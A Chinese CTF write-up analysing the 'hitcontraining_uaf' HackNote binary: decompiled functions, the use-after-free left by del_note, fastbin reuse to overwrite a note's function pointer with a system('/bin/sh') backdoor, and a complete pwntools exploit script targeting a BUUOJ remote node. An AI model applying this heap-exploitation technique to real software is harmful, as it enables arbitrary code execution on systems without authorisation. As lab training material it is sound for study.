Use After Free 例题分析

hitcontraining_uaf

main 函数分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int n2; // eax
  char buf[4]; // [esp+0h] [ebp-Ch] BYREF
  int *p_argc; // [esp+4h] [ebp-8h]

  p_argc = &argc;
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      n2 = atoi(buf);
      if ( n2 != 2 )
        break;
      del_note();
    }
    if ( n2 > 2 )
    {
      if ( n2 == 3 )
      {
        print_note();
      }
      else
      {
        if ( n2 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( n2 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

int menu()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

atoi（ASCII to integer）的功能是：把以 null 结尾的字符串 buf 转换成对应的十进制整数，赋值给变量 n2

通过第一次输入，只能选择 1.2.3.4 四个选项，分别对应着不同的操作。

add_node()函数分析：

int add_note()
{
    int count; // eax
    int v1; // esi
    char buf[8]; // [esp+0h] [ebp-18h] BYREF
    size_t size; // [esp+8h] [ebp-10h]
    int n4; // [esp+Ch] [ebp-Ch]

    count = ::count;                          //读取全局变量count到局部变量
    if ( ::count > 5 )                        //限制note的最多数量为5
        return puts("Full");
    for ( n4 = 0; n4 <= 4; ++n4 )
    {
        count = *((_DWORD *)&notelist + n4);  //指针代替数组偏移，代指notelist[n4]
        if ( !count )                         //如果指针为NULL
        {
            *((_DWORD *)&notelist + n4) = malloc(8u); //为新note分配八字节的内存
            if ( !*((_DWORD *)&notelist + n4) )       //检查malloc是否分配成功
            {
                puts("Alloca Error");
                exit(-1);
            }
            **((_DWORD **)&notelist + n4) = print_note_content; //设置note的指针为打印函数
            printf("Note size :");                    //读取8字节并转换笔记大小
            read(0, buf, 8u);
            size = atoi(buf);                         //把size转换成十进制整数
            v1 = *((_DWORD *)&notelist + n4);         //重新取出note[n4]的的结构体指针暂存到v1
            *(_DWORD *)(v1 + 4) = malloc(size);       //分配相应大小的内存
            if ( !*(_DWORD *)(*((_DWORD *)&notelist + n4) + 4) ) //检查是否分配失败
            {
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");    // 提示输入笔记内容
            read(0, *(void **)(*((_DWORD *)&notelist + n4) + 4), size); //读取size字节，写入content的内存
            puts("Success !");
            return ++::count;       //全局变量count+1
        }
    }
    return count;
}

int __cdecl print_note_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

对于 add_note()函数当中的结构体分析：

*((_DWORD *)&notelist + n4) = malloc(8u); 在 32 位系统下一个指针占 4字节，8 字节正好是两个指针

((_DWORD **)&notelist + n4) = print_note_content;

第二次解引用，本质是对 note_ptr 解引用：*note_ptr，也就是 note_ptr[0]

**(二级指针) = *(一级指针) = 一级指针[0] = 结构体偏移0x0处的值。两次引用相当于创建了一个结构体：

struct Note {
    void (*print_note_content)();  // 偏移0x0，4字节（函数指针）
    void *content;         // 偏移0x4，4字节（内容指针）
};
note_ptr →  0xXXXX0000（结构体起始地址）
            0xXXXX0000：函数指针（偏移0x0）
            0xXXXX0004：内容指针（偏移0x4）

del_node()函数分析：

int del_note()
{
    int result; // eax
    char buf[4]; // [esp+8h] [ebp-10h] BYREF
    int count; // [esp+Ch] [ebp-Ch]

    printf("Index :");
    read(0, buf, 4u);
    count = atoi(buf);
    if ( count < 0 || count >= ::count )
    {
        puts("Out of bound!");
        _exit(0);
    }
    result = *((_DWORD *)&notelist + count);
    if ( result )
    {
        free(*(void **)(*((_DWORD *)&notelist + count) + 4)); //释放笔记内容的内存（content指针指向的堆内存）
        free(*((void **)&notelist + count));                  //释放笔记结构体的内存（Note结构体本身的堆内存）
        return puts("Success");
    }
    return result;
}

以指针代替数组下标，free 掉输入的 chunk，没有置 0，有 UAF 漏洞.

print_note()函数分析:

int print_note()
{
    int result; // eax
    char buf[4]; // [esp+8h] [ebp-10h] BYREF
    int count; // [esp+Ch] [ebp-Ch]

    printf("Index :");                       //提示要打印的note索引
    read(0, buf, 4u);                        //读取4个字节内容
    count = atoi(buf);                       //字符转整数得到索引整数值
    if ( count < 0 || count >= ::count )
    {
        puts("Out of bound!");
        _exit(0);
    }
    result = *((_DWORD *)&notelist + count); //取出notelist[count]
    if ( result )
        return (**((int (__cdecl ***)(_DWORD))&notelist + count))(*((_DWORD *)&notelist + count));
    return result;
}

(**((int (__cdecl ***)(_DWORD))&notelist + count))(*((_DWORD *)&notelist + count));

((int (__cdecl ***)(_DWORD))&notelist + count))：相当于&notelist[count]

(**(…))(((_DWORD )&notelist + count))相当于&notelist[count] => *notelist[count] => notelist

指针直到最后相当于指向了结构体指针，等价于 printf_func(notelist[dount]);

也就是当前 return (**((int (__cdecl ***……ORD *)&notelist + count));起到了一个调用 print 的作用。

// 原逆向代码的等价写法
void *note_ptr = notelist[count];  // 目标笔记结构体指针
if (note_ptr != NULL) {
    // 取出偏移0x0处的打印函数指针
    void (*print_func)(void *) = (void (*)(void *))note_ptr;
    // 调用函数，传入结构体指针
    print_func(note_ptr);
    return 0; 
}
return 0;

简单来说 print_note 函数当中并没有真正能够打印的函数，而是调用了 add_note 当中的能够实现打印的 print_note_content 函数去实现该函数的打印功能。

magic()后门函数：

int magic()
{
  return system("/bin/sh");
}

我们前面说(**(…))(((_DWORD )&notelist + count))相当于&notelist[count] => *notelist[count]，那如果 nodelist[count] = magic 函数的话，就会指向 magic 的函数地址，直接调用这个函数。

具体思路大概就是这样，不过问题是我们的堆块中是这样的结构：

note_ptr →  0xXXXX0000（结构体起始地址）
            0xXXXX0000：函数指针  (偏移0x0)指向内容指针意图在与打印内容指针指向的内容
            0xXXXX0004：内容指针  (偏移0x4) 

函数指针会调用内容指针，内容指针会去相应的地址寻找内容

（这里再解释一下）：内容地址存放的并不是真正的内容，真正的内容在另一个可写的空间，内容地址存放的是可写空间的地址，从而跳转到可写空间去输出内容，就像这样：

结构体堆块 0x1000：
├─ 0x1000: print_note_content （函数指针，正常）
└─ 0x1004: 0x2000 （内容堆块地址）

内容堆块   0x2000：
└─ 0x2000: aaaa （只是数据，改不到函数指针）

造成的主要问题就是，无论我们输入什么都会先调用 printf，之后再寻找地址去打印输入的内容。那么我们就需要利用主要的漏洞 uaf 去利用悬空指针修改堆内容：

具体思路：

我们可以先创建两个堆块然后删除掉，由于 free 后没有置 0，该地址依旧存在悬空指针，再次 add 的时候就可以绕过 if ( !count ) ，由于 fastbin 特性就可以直接往复用堆中存入东西，当我们存入的是 magic 时，再次调用 print_note 函数就会直接调用 magic 函数实现 system(‘/bin/sh’);

两次 add_note 函数创建四个堆块

第一次addnote(b’16’,b’aaaa’)分别创建了一个结构体堆块 chunk1(8u)和一个内容堆块 chunk2(16u)

同样的第二次addnote(b’16’,b’aaaa’)分别创建了一个结构体堆块 chunk3(8u)和一个内容堆块 chunk4(16u)

两次 del_note 函数删除并 free 四个堆块

第一次和第二次 free 后的堆块链表：8u 内存链表： chunk1(8u) -> chunk3(8u)

第三次 add_note(b’8’,p32(magic))创建两个堆块

add_note(b’8’,p32(magic))先创建一个 8u 的结构体，取chunk1(8u)的内存空间写入，

chunk3   →  0xXXXX0000（结构体起始地址）
            0xXXXX0000：函数指针  (chunk1)
            0xXXXX0004：内容指针  (偏移0x4)此时还没有输入内容

之后创建一个 8u 的空间写内容，取 chunk3(8u)的内存空间写入。

chunk3   →  0xXXXX0000（结构体起始地址）
            0xXXXX0000：函数指针  (chunk3)
            0xXXXX0004：内容指针  (chunk1)-->指向p32(magic)地址

chunk1

上面地址是瞎写的，chunk1 和 chunk3 地址肯定是不一样的，随便表示一下

调用printnote(b’0’)

再调用printnote(b’0’)就会造成执行 p32(magic)的地址，从而获取 shell 了。

---

from pwn import *

context(arch="i386",os="linux",log_level="debug")

p = process("./pwn39")
elf = ELF("./pwn39")
p = remote("node5.buuoj.cn",25752)

def addnote(size = b'16',content = b'A'*16):
	p.sendlineafter(b'Your choice :',b'1')
	p.sendafter(b'Note size :',size)
	p.sendafter(b'Content :',content)

def delnote(index):
	p.sendlineafter(b'Your choice :',b'2')
	p.sendafter(b'Index :',index)

def printnote(index):
	p.sendlineafter(b'Your choice :',b'3')
	p.sendafter(b'Index :',index)

def m_exit():
	p.sendlineafter(b'Your choice :',b'4')

addnote()
addnote()

delnote(b'0')
delnote(b'1')

magic = 0x08048945

addnote(size=b'8',content=p32(magic))

printnote(index=b'0')

# gdb.attach(p)
# pause()

p.interactive()

更新: 2026-03-01 13:39:56
原文: https://www.yuque.com/idcm/wnemg9/uuaw2b69q1udv5uk